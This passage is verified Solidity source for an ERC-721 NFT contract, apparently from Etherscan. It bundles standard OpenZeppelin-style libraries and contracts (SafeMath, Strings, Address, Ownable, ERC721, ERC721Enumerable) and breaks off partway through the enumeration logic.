[ 7, 17 ]
0xf3663e13cfefd35d80ff5c0d177297b6b96a4c8f
/** *Submitted for verification at Etherscan.io on 2021-12-14 */ /** *Submitted for verification at Etherscan.io on 2021-10-07 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; string public _baseURI; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory base = baseURI(); return bytes(base).length > 0 ? string(abi.encodePacked(base, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function baseURI() internal view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete 